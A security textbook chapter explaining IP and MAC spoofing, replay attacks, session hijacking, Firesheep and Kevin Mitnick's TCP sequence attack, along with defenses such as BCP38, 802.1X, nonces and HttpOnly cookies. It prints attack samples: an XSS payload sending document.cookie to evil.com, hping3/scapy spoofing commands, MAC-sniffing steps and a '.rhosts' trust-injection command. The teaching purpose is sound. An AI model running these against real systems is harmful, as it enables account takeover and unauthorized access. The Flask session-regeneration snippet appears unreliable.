Chapter 29: Spoofing, Replay, and Session Hijacking
"The essence of deception is not creating something from nothing, but making the victim trust what they should not." — Bruce Schneier
Spoofing, replay, and session hijacking share a common thread: they do not break cryptography. They exploit trust. They abuse the assumptions protocols make about identity, freshness, and origin.
Consider a real scenario: "phantom transactions" appear in an internal ledger app — duplicates that look like database bugs. Packet captures reveal the truth: someone outside the network was replaying authenticated API requests. They captured a legitimate transaction, waited forty minutes, and sent it again. The server happily processed it because the session token was still valid and nobody had implemented replay protection. The attacker never cracked anything. They just sent the same thing twice.
IP Spoofing: Lying About Where You Come From
Every IP packet carries a source address. The fundamental problem: nothing in the IP protocol itself verifies that the source address is truthful. The sender fills in whatever address they want, and routers forward the packet based on the destination address alone.
You might wonder: if you spoof your source IP, the response goes to the spoofed address, not to you — so how useful is that? The answer depends on the protocol. There are important scenarios where you do not need the reply at all.
Why Stateless UDP Is More Vulnerable Than TCP
The critical distinction between TCP and UDP spoofing comes down to state:
graph TD
subgraph TCP["TCP: Stateful — Hard to Spoof"]
T1["1. Attacker sends SYN<br/>with spoofed source"]
T2["2. Server sends SYN-ACK<br/>to SPOOFED address<br/>(attacker never sees it)"]
T3["3. Attacker must guess<br/>32-bit sequence number<br/>to send valid ACK"]
T4["Probability: 1 in 4.3 billion<br/>per attempt (modern randomized ISN)"]
T1 --> T2 --> T3 --> T4
end
subgraph UDP["UDP: Stateless — Easy to Spoof"]
U1["1. Attacker sends UDP packet<br/>with spoofed source"]
U2["2. Server processes request<br/>and sends response to<br/>SPOOFED address"]
U3["3. No handshake needed.<br/>No sequence numbers.<br/>Server processes the<br/>single packet immediately."]
U4["Result: Amplification attacks,<br/>reflected floods, cache poisoning"]
U1 --> U2 --> U3 --> U4
end
style T4 fill:#228844,color:#fff
style U4 fill:#cc2222,color:#fff
UDP's vulnerability enables:
- DDoS amplification (Chapter 28): Small spoofed request to DNS/NTP/memcached generates massive response to victim
- DNS cache poisoning: Spoofed DNS responses can poison resolver caches
- Voice/video disruption: SIP/RTP traffic can be interrupted or injected
- Game server manipulation: Many online games use UDP for low-latency communication
TCP spoofing is harder but not impossible:
- Blind spoofing (without seeing responses) requires predicting sequence numbers — computationally infeasible with modern randomized ISNs (RFC 6528)
- Non-blind spoofing (on the same network segment) is trivial because the attacker can sniff the sequence numbers directly
- Historical example: Kevin Mitnick's 1994 attack used predictable sequence numbers (more on this below)
Demonstrating IP Spoofing
# Using hping3 to send a TCP SYN with a spoofed source address
# WARNING: Only use this on networks you own and control
$ sudo hping3 -S -a 10.0.0.99 -p 80 192.168.1.1
# -S: SYN flag
# -a 10.0.0.99: spoof source address
# -p 80: target port 80
# 192.168.1.1: destination
# Using scapy (Python) for more control:
from scapy.all import *
# Create a spoofed UDP packet
pkt = IP(src="10.0.0.99", dst="192.168.1.1") / UDP(dport=53) / \
DNS(rd=1, qd=DNSQR(qname="example.com"))
send(pkt)
# Observe with tcpdump on the target:
$ sudo tcpdump -i eth0 -nn 'host 10.0.0.99'
14:30:01.123456 IP 10.0.0.99.12345 > 192.168.1.1.80: Flags [S], seq 123456
# You'll see traffic appearing to come from 10.0.0.99 — a lie
BCP38: Ingress Filtering — The Defense That Should Be Everywhere
The primary defense against IP spoofing is BCP38 (RFC 2827), which defines ingress filtering. The concept is elegantly simple:
flowchart TD
subgraph Customer["Customer Network<br/>Owns: 198.51.100.0/24"]
Legit["Packet: src=198.51.100.15<br/>(legitimate)"]
Spoofed["Packet: src=203.0.113.50<br/>(spoofed!)"]
end
subgraph ISP["ISP Edge Router"]
Check{"Source IP within<br/>customer's block?<br/>(198.51.100.0/24)"}
end
Legit --> Check
Spoofed --> Check
Check -->|"Yes: 198.51.100.15<br/>is within /24"| Pass["PASS:<br/>Forward to Internet"]
Check -->|"No: 203.0.113.50<br/>is NOT within /24"| Drop["DROP:<br/>Log violation"]
style Pass fill:#228844,color:#fff
style Drop fill:#cc2222,color:#fff
Why is this not deployed everywhere? That question haunts the security community. BCP38 was published in the year 2000. Over twenty-five years later, significant portions of the internet still do not implement it. The Spoofer Project at CAIDA tests this regularly — roughly 25-30% of autonomous systems still permit spoofing. The reasons are human, not technical: it requires effort from ISPs to configure, provides no direct benefit to the ISP doing it — only to potential victims elsewhere — and there is no regulatory requirement in most jurisdictions. It is a classic tragedy of the commons.
# On your own network, implement ingress filtering:
# Using iptables on a Linux router
# On interface eth1 connected to subnet 192.168.1.0/24:
$ sudo iptables -A FORWARD -i eth1 ! -s 192.168.1.0/24 -j DROP
# Better: use Reverse Path Filtering (kernel built-in)
# Strict mode: drop packets if source IP wouldn't be routed back
# through the same interface
$ sudo sysctl -w net.ipv4.conf.all.rp_filter=1
# Make permanent
$ echo "net.ipv4.conf.all.rp_filter = 1" >> /etc/sysctl.conf
# Check your ISP's BCP38 compliance:
# Run the CAIDA Spoofer client: https://spoofer.caida.org/
Reverse path filtering (`rp_filter=1`, strict mode) can break legitimate asymmetric routing configurations where traffic enters and exits through different interfaces. In complex networks with multiple uplinks, use loose mode (`rp_filter=2`) instead, which only checks that the source IP is routable through *some* interface — not necessarily the receiving interface.
MAC Spoofing and Port Security
While IP spoofing happens at Layer 3, MAC spoofing targets Layer 2. Every network interface has a MAC address — a 48-bit identifier supposedly burned into hardware. In practice, changing it takes one command.
# Linux: change MAC address
$ sudo ip link set dev eth0 down
$ sudo ip link set dev eth0 address aa:bb:cc:dd:ee:ff
$ sudo ip link set dev eth0 up
# macOS:
$ sudo ifconfig en0 ether aa:bb:cc:dd:ee:ff
# Windows (PowerShell):
Set-NetAdapter -Name "Ethernet" -MacAddress "AA-BB-CC-DD-EE-FF"
# Verify the change
$ ip link show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
link/ether aa:bb:cc:dd:ee:ff brd ff:ff:ff:ff:ff:ff
There are three common attack scenarios for MAC spoofing:
1. Bypassing MAC-based access control. Many WiFi networks use MAC filtering as a gatekeeper. Spoof an authorized MAC and you are in.
# Discover authorized MACs on a WiFi network by sniffing
$ sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF
# The STATION column shows connected client MACs
# Pick one, wait for that client to disconnect, then spoof their MAC
2. ARP cache poisoning. Spoofing MAC addresses in ARP replies redirects traffic intended for one host to the attacker — the foundation of most LAN-based MitM attacks (Chapter 27).
3. Evading network forensics. If IDS/IPS logs activity by MAC address, spoofing lets you frame another device or become untraceable.
Switch Port Security
The primary defense against MAC spoofing on wired networks:
! Cisco IOS: enable port security
interface GigabitEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 2
switchport port-security violation restrict
switchport port-security mac-address sticky
! sticky: learn the first MAC and lock it
! Combined with 802.1X for cryptographic authentication:
interface GigabitEthernet0/1
dot1x port-control auto
authentication order dot1x mab
! dot1x first, then MAC Authentication Bypass as fallback
**802.1X port-based authentication** is the strongest defense against MAC spoofing because it requires cryptographic proof of identity before granting network access. The MAC address becomes irrelevant — even a valid MAC is rejected without a valid certificate or credential.
The authentication flow:
1. Device connects to switch port
2. Switch puts port in unauthorized state (only EAPOL frames allowed)
3. Device presents credentials via EAP (certificate, username/password, etc.)
4. Switch forwards credentials to RADIUS server for verification
5. RADIUS server validates and returns VLAN assignment
6. Switch moves port to authorized state in the assigned VLAN
This defeats MAC spoofing entirely because access depends on cryptographic identity, not the easily-forged MAC address.
Replay Attacks: When Valid Messages Become Weapons
A replay attack is conceptually the simplest attack in this chapter: the attacker records a legitimate, properly authenticated message and sends it again later.
Think of it this way. You call your bank and say "Transfer $5,000 to account XYZ." The bank verifies your identity and processes the transfer. Now imagine someone recorded that phone call and played it back to the bank the next day. Your voice, your authentication, everything is perfectly legitimate. The bank processes another $5,000 transfer. The message is authentic — it is just not fresh. Authentication tells you WHO sent the message. Replay protection tells you WHEN. Without both, you have a vulnerability.
sequenceDiagram
participant User as Legitimate User
participant Attacker as Attacker (sniffing)
participant Server as Server
User->>Server: POST /api/transfer<br/>Auth: Bearer eyJhbG...<br/>{"amount": 5000, "to": "acct-789"}
Note over Attacker: Captured the complete<br/>authenticated request!
Server-->>User: 200 OK - Transfer complete
Note over Attacker: 2 hours later...
Attacker->>Server: POST /api/transfer<br/>Auth: Bearer eyJhbG...<br/>{"amount": 5000, "to": "acct-789"}<br/>(EXACT SAME REQUEST)
Note over Server: Token still valid.<br/>Request looks legitimate.<br/>Processes duplicate transfer.
Server-->>Attacker: 200 OK - Transfer complete (AGAIN!)
Note over User: Lost another $5,000<br/>without knowing it
Where Replay Attacks Strike
| Target | Mechanism | Impact |
|---|---|---|
| REST API calls | Captured authenticated request replayed | Duplicate transactions, unauthorized actions |
| Authentication tokens | Captured Kerberos ticket or OAuth token reused | Session impersonation |
| Financial transactions | Replayed payment or transfer requests | Financial fraud |
| Wireless key fobs (pre-rolling-code) | Fixed code recorded and replayed | Car theft, garage access |
| Network authentication (RADIUS, NTLM) | Captured authentication exchange replayed | Unauthorized network access |
Defense Mechanism 1: Nonces (Numbers Used Once)
A nonce is a unique value included in each request. The server tracks which nonces it has seen and rejects duplicates.
sequenceDiagram
participant Client
participant Server
Client->>Server: Request nonce
Server-->>Client: nonce = "a7f3b9c2e1"
Client->>Server: POST /transfer<br/>nonce: a7f3b9c2e1<br/>HMAC(secret, body + nonce)
Note over Server: 1. Verify HMAC ✓<br/>2. Check: nonce seen before? NO ✓<br/>3. Mark nonce as used
Server-->>Client: 200 OK
Note over Client: REPLAY ATTEMPT:
Client->>Server: POST /transfer<br/>nonce: a7f3b9c2e1<br/>(same request replayed)
Note over Server: 1. Verify HMAC ✓<br/>2. Check: nonce seen before? YES ✗<br/>3. REJECT
Server-->>Client: 403 Forbidden:<br/>"Nonce already used"
Does maintaining a list of all used nonces get expensive over time? Yes, and that is why nonces are usually combined with timestamps. You only need to remember nonces within a time window — say, 5 minutes. After that window, the timestamp check rejects the request anyway, so old nonces can be purged.
Defense Mechanism 2: Timestamps
Include a timestamp in each request, and reject requests where the timestamp is too far from the server's current time:
# Example: API request with timestamp and HMAC
TIMESTAMP=$(date +%s)
BODY='{"amount":5000,"to":"acct-789"}'
NONCE=$(openssl rand -hex 16)
STRING_TO_SIGN="${TIMESTAMP}${NONCE}${BODY}"
SIGNATURE=$(echo -n "${STRING_TO_SIGN}" | \
openssl dgst -sha256 -hmac "shared-secret" | awk '{print $2}')
curl -X POST https://api.example.com/transfer \
-H "X-Timestamp: ${TIMESTAMP}" \
-H "X-Nonce: ${NONCE}" \
-H "X-Signature: ${SIGNATURE}" \
-H "Content-Type: application/json" \
-d "${BODY}"
The server validates:
- Is the timestamp within +/- 5 minutes of server time?
- Is the HMAC valid (proving timestamp and body haven't been tampered with)?
- Has this nonce been seen within the time window?
Timestamp-based replay protection requires synchronized clocks between client and server. If your server's clock drifts or a client's clock is wrong, legitimate requests get rejected. Always use NTP for clock synchronization and allow a reasonable-but-not-too-generous time window. AWS uses this approach for Signature Version 4 with a 5-minute window.
Defense Mechanism 3: Sequence Numbers
In persistent connections, each message includes an incrementing sequence number. The receiver rejects any message with a sequence number it has already processed:
TLS Record Layer:
├── TLS 1.2: Explicit sequence number in each record
│ Replay of record N is rejected because receiver
│ expects N+1 after processing N
│
├── TLS 1.3: Implicit sequence counter (never transmitted)
│ Both sides maintain synchronized counters
│ Even more resistant to manipulation
│
└── IPSec ESP: 64-bit sequence number in anti-replay window
Packets outside the window are dropped
**Kerberos** uses a layered approach to replay defense that's worth studying:
1. **Timestamps:** Each authenticator contains a client timestamp. The KDC rejects authenticators with timestamps more than 5 minutes from server time.
2. **Replay cache:** The KDC and service principals cache recently seen authenticator timestamps. A replayed authenticator with the same timestamp is rejected.
3. **Session keys:** Each TGT and service ticket contains a unique session key. Even if an authenticator is replayed to a different service, the session key mismatch causes rejection.
4. **Ticket expiration:** Tickets have explicit lifetimes (typically 10 hours). After expiration, the entire ticket is invalid regardless of authenticator freshness.
This belt-and-suspenders approach is why Kerberos has remained robust for decades despite operating in hostile network environments. Modern API designers should adopt similar layering.
Session Hijacking: Stealing Someone Else's Identity
Session hijacking is the act of taking over a legitimate user's authenticated session. Instead of guessing passwords or breaking encryption, the attacker steals or forges the session identifier.
Authentication happens once. After that, every subsequent request relies on a session token — usually a cookie — that says "I am the person who authenticated earlier." Steal that token, and you ARE that person as far as the server is concerned.
Cookie Theft via XSS
Cross-Site Scripting (XSS) is the most common vector for session cookie theft:
sequenceDiagram
participant Attacker
participant WebApp as Vulnerable Web App
participant Victim as Victim's Browser
participant Evil as evil.com
Attacker->>WebApp: Submit malicious content:<br/>Forum post containing:<br/><script>new Image().src=<br/>"https://evil.com/steal?c="<br/>+document.cookie</script>
Victim->>WebApp: Visit page with<br/>malicious content
WebApp-->>Victim: Page rendered with<br/>injected JavaScript
Note over Victim: Browser executes script:<br/>Reads document.cookie<br/>session=abc123xyz
Victim->>Evil: GET /steal?c=session=abc123xyz<br/>(cookie exfiltrated!)
Note over Attacker: Attacker receives<br/>victim's session cookie
Attacker->>WebApp: GET /dashboard<br/>Cookie: session=abc123xyz
WebApp-->>Attacker: Welcome, Victim!<br/>(full account access)
The defense is the HttpOnly cookie flag:
Set-Cookie: session=abc123xyz; HttpOnly; Secure; SameSite=Strict; Path=/
- HttpOnly: JavaScript cannot access this cookie —
document.cookiewon't include it - Secure: Only sent over HTTPS connections
- SameSite=Strict: Never sent with cross-site requests (prevents CSRF and some XSS exfiltration)
# Verify a site's cookie flags:
$ curl -v -s -o /dev/null https://example.com/login 2>&1 | grep -i set-cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
# Test if HttpOnly is working:
# In browser console: document.cookie should NOT show the session cookie
# If it does, HttpOnly is not set — vulnerability!
Session Fixation: A Subtler Attack
Session fixation is subtler than theft. Instead of stealing an existing session, the attacker forces the victim to use a session identifier that the attacker already knows:
sequenceDiagram
participant Attacker
participant Server
participant Victim
Attacker->>Server: GET /login
Server-->>Attacker: Set-Cookie: session=EVIL123
Note over Attacker: Attacker now knows<br/>session=EVIL123
Attacker->>Victim: Send phishing link:<br/>https://bank.com/login?sid=EVIL123
Victim->>Server: GET /login?sid=EVIL123
Note over Server: Sets session=EVIL123
Victim->>Server: POST /login<br/>Cookie: session=EVIL123<br/>username=victim&password=pass123
Note over Server: Authenticates victim<br/>ON session=EVIL123
Server-->>Victim: 302 Redirect to /dashboard
Note over Attacker: Uses same session=EVIL123<br/>(now authenticated as victim!)
Attacker->>Server: GET /dashboard<br/>Cookie: session=EVIL123
Server-->>Attacker: Welcome, Victim!
The defense is obvious once you see it: regenerate the session ID after login. It is shocking how many frameworks did not do this by default for years.
# Python Flask example — regenerate session on login
from flask import session, request, redirect
@app.route('/login', methods=['POST'])
def login():
if authenticate(request.form['username'], request.form['password']):
# CRITICAL: regenerate session ID after successful authentication
session.regenerate() # New session ID assigned
session['user'] = request.form['username']
session['authenticated'] = True
session['ip'] = request.remote_addr # Bind to IP for extra protection
return redirect('/dashboard')
// Java Servlet — regenerate session
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
oldSession.invalidate(); // Kill old session
}
HttpSession newSession = request.getSession(true); // Create new session
newSession.setAttribute("user", username);
Session fixation isn't limited to URL parameters. Attackers can fix sessions via:
- **XSS**: Injecting `document.cookie = "session=EVIL123"`
- **Cookie tossing**: Setting cookies from a subdomain the attacker controls
- **HTTP response header injection**: If the app reflects user input in response headers
- **Meta tags**: In HTML injection scenarios
Always regenerate session IDs on any privilege level change — not just login, but also password change, MFA validation, and role elevation.
Firesheep and the HTTPS Everywhere Movement
In October 2010, Eric Butler released Firesheep, a Firefox extension that changed the trajectory of web security. Firesheep was barely a hundred lines of code. It put packet sniffing in a pretty GUI. You sat in a coffee shop, clicked a button, and it showed you the Facebook, Twitter, and Amazon sessions of everyone on the WiFi. Click on someone's face, and you were logged in as them.
How was that possible? HTTPS existed, but most sites only used it for the login page. You submitted your password over HTTPS, got a session cookie, and then the site redirected you to plain HTTP for everything else. Your session cookie flew across the WiFi in plaintext for the rest of your browsing session.
sequenceDiagram
participant User as User
participant WiFi as WiFi Network<br/>(shared medium)
participant Facebook as facebook.com
Note over User,Facebook: Pre-2011: HTTPS only for login
User->>Facebook: POST /login (HTTPS)<br/>[encrypted - safe]
Facebook-->>User: Set-Cookie: session=abc123<br/>302 Redirect to HTTP
Note over WiFi: Firesheep is listening...
User->>Facebook: GET /feed (HTTP!)<br/>Cookie: session=abc123<br/>[PLAINTEXT on WiFi!]
Note over WiFi: Firesheep captures:<br/>session=abc123<br/>Username: "John Smith"<br/>Profile photo loaded
Note over WiFi: Attacker clicks John's face<br/>in Firesheep GUI
WiFi->>Facebook: GET /feed<br/>Cookie: session=abc123
Facebook-->>WiFi: Welcome, John Smith!<br/>(full account access)
The Impact: Firesheep as a Catalyst
Firesheep didn't demonstrate a new attack — network sniffing had existed for decades. What it did was democratize the attack. Within months:
- Facebook rolled out HTTPS for all sessions
- Twitter enabled HTTPS by default
- Google moved Gmail and then all services to HTTPS
- The EFF launched the HTTPS Everywhere browser extension
- Let's Encrypt was conceived (launching in 2015) to make HTTPS certificates free and automated
- HSTS became widely adopted
At a security conference in 2011, the year after Firesheep came out, someone in the audience ran Firesheep on the conference WiFi and projected the results on a second screen. Faces of security professionals appeared one by one — people who should have known better but were still visiting non-HTTPS sites. The embarrassment factor drove more HTTPS adoption than any technical argument ever could. Sometimes shame is the most effective security control.
The broader lesson is that Firesheep was a public service disguised as an attack tool. Butler wanted to force the issue — and it worked. The web is overwhelmingly HTTPS today, and Firesheep was one of the catalysts.
Kevin Mitnick and TCP Sequence Prediction
No discussion of spoofing and session hijacking is complete without the most famous attack in hacking history: Kevin Mitnick's 1994 attack against Tsutomu Shimomura.
The Attack
Mitnick exploited two critical weaknesses:
-
Predictable TCP Initial Sequence Numbers (ISNs): In 1994, many TCP implementations incremented the ISN by a fixed amount for each new connection. By observing a few connections, Mitnick could predict the ISN for the next one.
-
IP-based trust (rsh/rlogin): Shimomura's systems used
.rhostsfiles that granted remote shell access based solely on source IP address — no password required.
sequenceDiagram
participant Mitnick as Mitnick
participant X_Terminal as X-Terminal<br/>(target)
participant Shimomura as Shimomura's Server<br/>(trusted by X-Terminal)
Note over Mitnick: Step 1: SYN-flood Shimomura's server<br/>to prevent it from responding<br/>with RST to spoofed packets
Mitnick->>Shimomura: SYN flood (thousands of SYNs)
Note over Shimomura: Backlog full,<br/>cannot respond to anything
Note over Mitnick: Step 2: Probe X-Terminal<br/>to learn ISN pattern
Mitnick->>X_Terminal: SYN (connection 1)
X_Terminal-->>Mitnick: SYN-ACK (ISN = 1000)
Mitnick->>X_Terminal: RST
Mitnick->>X_Terminal: SYN (connection 2)
X_Terminal-->>Mitnick: SYN-ACK (ISN = 1128)
Mitnick->>X_Terminal: RST
Note over Mitnick: Pattern detected:<br/>ISN increments by 128 each time.<br/>Next ISN will be ~1256.
Note over Mitnick: Step 3: Spoof Shimomura's IP<br/>and predict ISN
Mitnick->>X_Terminal: SYN (src: Shimomura's IP)
X_Terminal->>Shimomura: SYN-ACK (ISN=1256)<br/>(goes to flooded server — no RST)
Mitnick->>X_Terminal: ACK (ack=1257)<br/>(predicted ISN + 1,<br/>still spoofing Shimomura's IP)
Note over X_Terminal: Connection "established"<br/>with "Shimomura's server"
Mitnick->>X_Terminal: echo "++ ++" >> .rhosts<br/>(still spoofing Shimomura's IP)
Note over X_Terminal: .rhosts modified:<br/>now trusts ALL hosts!<br/>Mitnick has permanent access
The Fix: Randomized ISNs
The Mitnick attack led directly to RFC 6528, which standardized cryptographically unpredictable ISN generation:
ISN Generation Evolution:
├── 1981 (RFC 793): ISN = timer incrementing every 4 μs
│ Completely predictable. Mitnick's era.
│
├── 1996 (post-Mitnick): ISN = timer + random increment
│ Better, but statistical patterns remained.
│
└── 2012 (RFC 6528): ISN = hash(src_ip, src_port, dst_ip, dst_port, secret) + time
Cryptographically unpredictable to external observers.
Secret key rotated periodically.
Modern standard — blind TCP hijacking is computationally infeasible.
# Verify modern ISN randomization is active on Linux
$ sysctl net.ipv4.tcp_timestamps
net.ipv4.tcp_timestamps = 1
# Modern kernels use RFC 6528 algorithm for ISN generation by default
# You can observe ISN randomization by looking at initial sequence numbers
# across multiple connections — they should show no discernible pattern:
$ for i in $(seq 1 5); do
hping3 -S -p 80 -c 1 target.example.com 2>&1 | grep seq
done
# Each connection should have a completely unpredictable ISN
The Complete Attack Chain: From Coffee Shop to Account Takeover
These attacks rarely happen in isolation. A real-world attacker chains them:
graph TD
Step1["Step 1: ARP Spoof<br/>Become MitM on WiFi network"]
Step2["Step 2: DNS Spoof<br/>Redirect banking domain<br/>to attacker's server"]
Step3["Step 3: SSL Strip or<br/>serve phishing page<br/>(if no HSTS)"]
Step4["Step 4: Capture credentials<br/>or session cookies"]
Step5["Step 5: Replay captured<br/>API tokens for<br/>lateral access"]
Step6["Step 6: Access linked services,<br/>exfiltrate data"]
Step1 --> Step2 --> Step3 --> Step4 --> Step5 --> Step6
subgraph Defenses["Defense Chain That Breaks This"]
D1["WPA3-Enterprise<br/>(prevents sniffing)"]
D2["HSTS Preload<br/>(prevents SSL stripping)"]
D3["Certificate Pinning<br/>(prevents fake certs)"]
D4["FIDO2/WebAuthn<br/>(phishing-resistant auth)"]
D5["Token Binding / DPoP<br/>(prevents token replay)"]
end
style Step1 fill:#cc2222,color:#fff
style Step6 fill:#cc2222,color:#fff
style Defenses fill:#228844,color:#fff
Modern Session Protection Checklist
graph TD
subgraph Cookies["Cookie Security Flags"]
Secure["Secure: HTTPS only"]
HttpOnly["HttpOnly: no JavaScript access"]
SameSite["SameSite: controls cross-origin"]
Path["Path/Domain: limit scope"]
end
subgraph Server["Server-Side Controls"]
Regen["Regenerate session ID on login"]
RegenPriv["Regenerate on privilege change"]
Expire["Reasonable expiration times"]
Bind["Bind to client fingerprint<br/>(IP + User-Agent, with care)"]
Absolute["Absolute session timeout"]
Invalidate["Invalidate server-side on logout"]
end
subgraph Transport["Transport Security"]
HSTS["HSTS with preload"]
Pin["Certificate pinning (mobile)"]
CT["Certificate Transparency"]
end
subgraph Modern["Modern Token Security"]
DPoP["DPoP: Proof of possession<br/>tokens bound to client key"]
mTLS["Mutual TLS: client certificates"]
TokenBind["Token Binding: ties tokens<br/>to TLS channel"]
end
# Test your application's session security:
# 1. Check cookie flags
$ curl -v -s -o /dev/null https://example.com/login 2>&1 | grep -i set-cookie
# Look for: HttpOnly; Secure; SameSite=Strict
# 2. Check HSTS header
$ curl -s -D - https://example.com -o /dev/null | grep -i strict-transport
# Expected: max-age=31536000; includeSubDomains; preload
# 3. Test session invalidation on logout
# Log in, copy session cookie, log out, try using old cookie
$ curl -b "session=old-cookie-value" https://example.com/dashboard
# Should return 401/403, not the dashboard
# 4. Test session regeneration on login
# Note session ID before login, then after login
# They MUST be different
# 5. Test HttpOnly
# In browser console: document.cookie
# Session cookie should NOT appear
Test your own application's session handling:
1. **Cookie flags:** Use `curl -v` to check Set-Cookie headers. Verify HttpOnly, Secure, and SameSite are present.
2. **Session regeneration:** Log in and note the session ID. Log out. Log in again. If the session ID is the same, you have a session fixation vulnerability.
3. **Server-side invalidation:** Log in, copy the session cookie. Log out. Try to use the copied cookie. If it still works, your logout doesn't invalidate the session server-side.
4. **Replay test:** Capture an authenticated API request with `curl -v`. Wait 10 minutes. Replay it exactly. Does the server process it again? If your API handles financial transactions, this is a critical vulnerability.
5. **XSS + cookie theft:** If you have a test application, intentionally introduce a reflected XSS (`<script>alert(document.cookie)</script>`) and verify that HttpOnly prevents the session cookie from appearing in the alert.
6. **Concurrent sessions:** Log in from two browsers. Log out from one. Does the other session survive? Document the expected behavior for your application.
What You've Learned
This chapter covered attacks that exploit trust, identity, and freshness rather than breaking cryptographic algorithms:
-
IP spoofing is possible because the IP protocol doesn't verify source addresses. UDP is far more vulnerable than TCP because it's stateless — no handshake means a single spoofed packet is processed immediately. BCP38/ingress filtering is the primary defense, but remains unevenly deployed (25-30% of the internet still allows spoofing).
-
MAC spoofing enables Layer 2 attacks including WiFi access control bypass, ARP cache poisoning for MitM, and forensic evasion. 802.1X port-based authentication is the strongest defense because it requires cryptographic identity proof, not just a MAC address.
-
Replay attacks re-send legitimate, authenticated messages to cause duplicate processing. The three defense mechanisms are nonces (single-use values), timestamps (bounded time windows), and sequence numbers (monotonic counters). Robust systems like Kerberos and AWS Signature V4 combine multiple mechanisms.
-
Session hijacking steals or forges session identifiers to impersonate authenticated users. Cookie theft via XSS is the most common vector — defended by the HttpOnly flag. Session fixation forces victims to use attacker-known session IDs — defended by session regeneration on login.
-
Firesheep (2010) democratized WiFi session hijacking, catalyzing the web's migration to universal HTTPS. It demonstrated that even well-understood vulnerabilities aren't taken seriously until exploitation becomes trivial.
-
Kevin Mitnick's 1994 attack exploited predictable TCP sequence numbers and IP-based trust to hijack a TCP session blindly. This led to RFC 6528's cryptographically random ISN generation, making blind TCP hijacking computationally infeasible on modern systems.
-
These attacks chain together in practice. ARP spoofing enables DNS spoofing, which enables SSL stripping, which enables credential theft, which enables session hijacking, which enables data exfiltration. Defense requires layered controls at every level — network, transport, application, and session management. No single control is sufficient.